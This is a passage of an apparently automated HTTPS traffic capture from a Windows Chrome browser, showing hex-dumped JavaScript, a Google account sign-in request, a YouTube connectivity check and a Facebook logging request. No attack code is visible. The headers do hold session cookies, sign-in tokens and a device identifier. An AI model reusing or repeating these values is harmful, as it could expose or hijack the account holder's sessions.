2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 3d 22 5b 65 72 72 6f 72 5d 20 22 2b 63 2e 6d 65 73 73 61 67 65 7d 72 65 74 75 72 6e 20 61 7d 2c 78 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7a 28 61 29 3b 31 21 3d 3d 28 62 26 31 29 26 26 28 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 28 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 29 2c 41 28 61 2c 62 7c 31 29 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 0a 5b 5d 3b 79 61 28 61 2c 31 29 3b 72 65 74 75 72 6e 20 61 7d 2c 41 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 3e 3e 31 34 26 31 30 32 33 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 61 3f 35 33 36 38 37 30 39 31 32 3a 61 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 28 21 Data Ascii: ="[error] "+c.message}return a},xa=function(a){var b=z(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),A(a,b\|1))},za=function(){var a=[];ya(a,1);return a},Aa=function(a){a=a>>14&1023;return 0===a?536870912:a},Ca=function(a){return!(!
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 78 79 7a 30 31 32 33 34 35 36 37 38 39 22 2e 73 70 6c 69 74 28 22 22 29 3b 0a 64 3d 5b 22 2b 2f 3d 22 2c 22 2b 2f 22 2c 22 2d 5f 3d 22 2c 22 2d 5f 2e 22 2c 22 2d 5f 22 5d 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 35 3e 65 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 63 2e 63 6f 6e 63 61 74 28 64 5b 65 5d 2e 73 70 6c 69 74 28 22 22 29 29 3b 4b 61 5b 65 5d 3d 66 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 67 3d 66 5b 68 5d 3b 76 6f 69 64 20 30 3d 3d 3d 43 5b 67 5d 26 26 28 43 5b 67 5d 3d 68 29 7d 7d 7d 62 3d 4b 61 5b 62 5d 3b 63 3d 41 72 72 61 79 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 2e 6c 65 6e 67 74 68 2f 33 29 29 3b 64 3d 62 5b 36 34 5d 7c 7c 22 22 3b 66 6f 72 28 65 3d 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 Data Ascii: xyz0123456789".split("");d=["+/=","+/","-_=","-_.","-_"];for(var e=0;5>e;e++){var f=c.concat(d[e].split(""));Ka[e]=f;for(var h=0;h<f.length;h++){var g=f[h];void 0===C[g]&&(C[g]=h)}}}b=Ka[b];c=Array(Math.floor(a.length/3));d=b[64]\|\|"";for(e=f=0;f<a.length
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 26 28 72 3d 21 30 29 3b 6b 2d 2d 7d 66 6f 72 28 65 3d 2b 21 21 28 65 26 35 31 32 29 2d 31 3b 30 3c 6b 3b 6b 2d 2d 29 7b 49 3d 6b 2d 31 3b 66 3d 62 5b 49 5d 3b 69 66 28 21 28 6e 75 6c 6c 3d 3d 66 7c 7c 21 52 61 26 26 44 61 28 66 2c 64 2c 49 2d 65 29 7c 7c 21 53 61 26 26 43 61 28 66 29 26 26 30 3d 3d 3d 66 2e 73 69 7a 65 29 29 62 72 65 61 6b 3b 76 61 72 20 70 63 3d 21 30 7d 69 66 28 21 72 26 26 21 70 63 29 72 65 74 75 72 6e 20 62 3b 76 61 72 20 70 61 3b 68 3f 70 61 3d 62 3a 70 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 62 2c 30 2c 6b 29 3b 62 3d 70 61 3b 68 26 26 28 62 2e 6c 65 6e 67 74 68 3d 6b 29 3b 46 26 26 62 2e 70 75 73 68 28 46 29 3b 72 65 74 75 72 6e 20 62 7d 2c 55 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: &(r=!0);k--}for(e=+!!(e&512)-1;0<k;k--){I=k-1;f=b[I];if(!(null==f\|\|!Ra&&Da(f,d,I-e)\|\|!Sa&&Ca(f)&&0===f.size))break;var pc=!0}if(!r&&!pc)return b;var pa;h?pa=b:pa=Array.prototype.slice.call(b,0,k);b=pa;h&&(b.length=k);F&&b.push(F);return b},Ua=function(a,b
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 45 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 59 61 28 56 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 0a 76 61 72 20 59 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f Data Ascii: ypeof d.prototype[a]&&E(d.prototype,a,{configurable:!0,writable:!0,value:function(){return Ya(Va(this))}})}return a});var Ya=function(a){a={next:a};a[Symbol.iterator]=function(){return this};return a},H=function(a){var b="undefined"!=typeof Symbol&&Symbo
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 2c 6d 3d 6e 65 77 20 61 28 5b 5b 6b 2c 32 5d 2c 5b 6c 2c 33 5d 5d 29 3b 69 66 28 32 21 3d 6d 2e 67 65 74 28 6b 29 7c 7c 33 21 3d 6d 2e 67 65 74 28 6c 29 29 72 65 74 75 72 6e 21 31 3b 6d 2e 64 65 6c 65 74 65 28 6b 29 3b 6d 2e 73 65 74 28 6c 2c 34 29 3b 72 65 74 75 72 6e 21 6d 2e 68 61 73 28 6b 29 26 26 34 3d 3d 6d 2e 67 65 74 28 6c 29 7d 63 61 74 63 68 28 71 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e Data Ascii: ,m=new a([[k,2],[l,3]]);if(2!=m.get(k)\|\|3!=m.get(l))return!1;m.delete(k);m.set(l,4);return!m.has(k)&&4==m.get(l)}catch(q){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,g=function(k){this.
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 2c 67 2e 6c 2e 73 2e 6e 65 78 74 3d 67 2e 6c 2e 6e 65 78 74 2c 67 2e 6c 2e 6e 65 78 74 2e 73 3d 67 2e 6c 2e 73 2c 67 2e 6c 2e 68 65 61 64 3d 0a 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 73 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 67 29 2e 6c 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 28 67 3d 64 28 74 68 69 73 2c 67 29 2e 6c 29 26 26 67 2e 76 61 6c 75 65 Data Ascii: ,g.l.s.next=g.l.next,g.l.next.s=g.l.s,g.l.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].s=f();this.size=0};c.prototype.has=function(g){return!!d(this,g).l};c.prototype.get=function(g){return(g=d(this,g).l)&&g.value
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 6e 20 67 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 47 28 22 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 21 3d 3d 74 79 70 65 6f 66 20 62 3f 21 31 3a 21 69 73 4e 61 4e 28 62 29 26 26 49 6e 66 69 6e 69 74 79 21 3d 3d 62 26 26 2d 49 6e 66 69 6e 69 74 79 21 3d 3d 62 7d 7d 29 3b 0a 47 28 22 4f 62 6a 65 63 74 2e 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 62 3d 3d 3d 63 3f 30 21 3d 3d 62 7c 7c 31 2f 62 3d 3d 3d 31 2f 63 3a 62 21 3d 3d 62 26 26 63 21 3d 3d Data Ascii: n gb(this,function(b){return b})}});G("Number.isFinite",function(a){return a?a:function(b){return"number"!==typeof b?!1:!isNaN(b)&&Infinity!==b&&-Infinity!==b}});G("Object.is",function(a){return a?a:function(b,c){return b===c?0!==b\|\|1/b===1/c:b!==b&&c!==
2024-01-17 23:35:06 UTC	1682	IN	Data Raw: 6e 64 26 26 2d 31 21 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 6e 61 74 69 76 65 20 63 6f 64 65 22 29 3f 6d 62 3a 6e 62 3b 72 65 74 75 72 6e 20 4c 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 6f 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 63 2e 73 6c 69 63 65 28 29 3b 64 2e 70 75 73 68 2e 61 70 70 6c 79 28 64 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 61 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 7d 2c 70 62 3d Data Ascii: nd&&-1!=Function.prototype.bind.toString().indexOf("native code")?mb:nb;return L.apply(null,arguments)},ob=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var d=c.slice();d.push.apply(d,arguments);return a.apply(this,d)}},pb=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49940	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	1970	OUT	POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=8463957747052415732&bl=boq_identityfrontendauthuiserver_20240107.08_p0&hl=en-US&_reqid=2105&rt=c HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 165 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-goog-ext-278367001-jspb: ["GlifWebSignIn"] X-Same-Domain: 1 x-goog-ext-391502476-jspb: ["S-586605101:1705534478563012",null,null,"ASKXGp2tJPB3Ojygu8H0Nq-e-VWoesVuSqMqtwVz1w7gLDZs0sblPrXYTPEhXtH_AYuP9vdSp9W6Tg"] sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation Origin: https://accounts.google.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; OTZ=7387175_52_52_123900_48_436380; __Host-GAPS=1:vwc5Fxh26ZaiFwvZVypSBIlciNnvtQ:StK8MVu31lxzbeEl
2024-01-17 23:35:06 UTC	165	OUT	Data Raw: 66 2e 72 65 71 3d 25 35 42 25 35 42 25 35 42 25 32 32 55 45 6b 4b 77 62 25 32 32 25 32 43 25 32 32 25 35 42 25 35 43 25 32 32 53 2d 35 38 36 36 30 35 31 30 31 25 33 41 31 37 30 35 35 33 34 34 37 38 35 36 33 30 31 32 25 35 43 25 32 32 25 35 44 25 32 32 25 32 43 6e 75 6c 6c 25 32 43 25 32 32 67 65 6e 65 72 69 63 25 32 32 25 35 44 25 35 44 25 35 44 26 61 74 3d 41 4c 74 34 56 65 30 37 5a 79 4a 50 37 58 30 30 48 44 55 73 42 53 62 68 49 51 4c 44 25 33 41 31 37 30 35 35 33 34 35 30 34 33 35 31 26 Data Ascii: f.req=%5B%5B%5B%22UEkKwb%22%2C%22%5B%5C%22S-586605101%3A1705534478563012%5C%22%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at=ALt4Ve07ZyJP7X00HDUsBSbhIQLD%3A1705534504351&
2024-01-17 23:35:06 UTC	1599	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Set-Cookie: __Host-GAPS=1:8NYQ1jjDG5rOMGPnOF4Q2qPYlrHdbw:Pr7VuCt41o1dCYDD; Expires=Fri, 16-Jan-2026 23:35:06 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:06 GMT Content-Disposition: attachment; filename="response.bin"; filename=UTF-8''response.bin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Cross-Origin-Resource-Policy: same-site Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:06 UTC	121	IN	Data Raw: 37 33 0d 0a 29 5d 7d 27 0a 0a 31 30 36 0a 5b 5b 22 77 72 62 2e 66 72 22 2c 22 55 45 6b 4b 77 62 22 2c 22 5b 32 5d 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 67 65 6e 65 72 69 63 22 5d 2c 5b 22 64 69 22 2c 31 37 5d 2c 5b 22 61 66 2e 68 74 74 70 72 6d 22 2c 31 36 2c 22 31 39 33 33 30 30 39 32 31 39 32 39 33 31 34 39 38 39 36 22 2c 39 34 5d 5d 0a 0d 0a Data Ascii: 73)]}'106[["wrb.fr","UEkKwb","[2]",null,null,null,"generic"],["di",17],["af.httprm",16,"1933009219293149896",94]]
2024-01-17 23:35:06 UTC	33	IN	Data Raw: 31 62 0d 0a 32 35 0a 5b 5b 22 65 22 2c 34 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 34 32 5d 5d 0a 0d 0a Data Ascii: 1b25[["e",4,null,null,142]]
2024-01-17 23:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49941	172.217.165.150	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	947	OUT	GET /generate_204 HTTP/1.1 Host: i.ytimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:06 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:35:06 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49942	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	1606	OUT	GET /_/bscframe HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; OTZ=7387175_52_52_123900_48_436380; __Host-GAPS=1:vwc5Fxh26ZaiFwvZVypSBIlciNnvtQ:StK8MVu31lxzbeEl
2024-01-17 23:35:06 UTC	1358	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:06 GMT Content-Security-Policy: script-src 'unsafe-eval';require-trusted-types-for 'script';object-src 'none' Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"AccountsSignInSignUpUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInSignUpUi" Cross-Origin-Resource-Policy: same-site Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:06 UTC	20	IN	Data Raw: 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a Data Ascii: f<!DOCTYPE html>
2024-01-17 23:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49945	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	1176	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__dyn=7xe6E5aQ1PyUbFp61swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE7i0n24o5-0me2218w5uw5Uwdq0Ho2eU5O0PU1mUdEG0hi0Lo6-0iq0NE&__hs=19739.BP%3ADEFAULT.2.0..0.0&__hsi=7325214789801388870&__req=1&__rev=1010867501&__s=heq9de%3Ax91pwu%3Aof6q7z&__spin_b=trunk&__spin_r=1010867501&__spin_t=1705534474&__user=0&dpr=1&jazoest=21024&lsd=AVqs77voydU HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1723 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEpJiztcTcgK72hxT Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; wd=1280x907; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM; datr=CmSoZS_e47taJeaFNDxl31-H
2024-01-17 23:35:06 UTC	1723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 45 70 4a 69 7a 74 63 54 63 67 4b 37 32 68 78 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 30 35 35 33 34 35 30 35 36 32 36 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 45 70 4a 69 7a 74 63 54 63 67 4b 37 32 68 78 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 70 6f 73 74 73 22 3a 22 6d 41 33 77 62 31 74 62 49 6d 5a 68 62 47 4e 76 4f 6d 4a 79 62 33 64 7a 5a 58 4a 66 63 47 56 79 Data Ascii: ------WebKitFormBoundaryEpJiztcTcgK72hxTContent-Disposition: form-data; name="ts"1705534505626------WebKitFormBoundaryEpJiztcTcgK72hxTContent-Disposition: form-data; name="q"[{"app_id":"256281040558","posts":"mA3wb1tbImZhbGNvOmJyb3dzZXJfcGVy
2024-01-17 23:35:07 UTC	479	IN	HTTP/1.1 200 OK reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
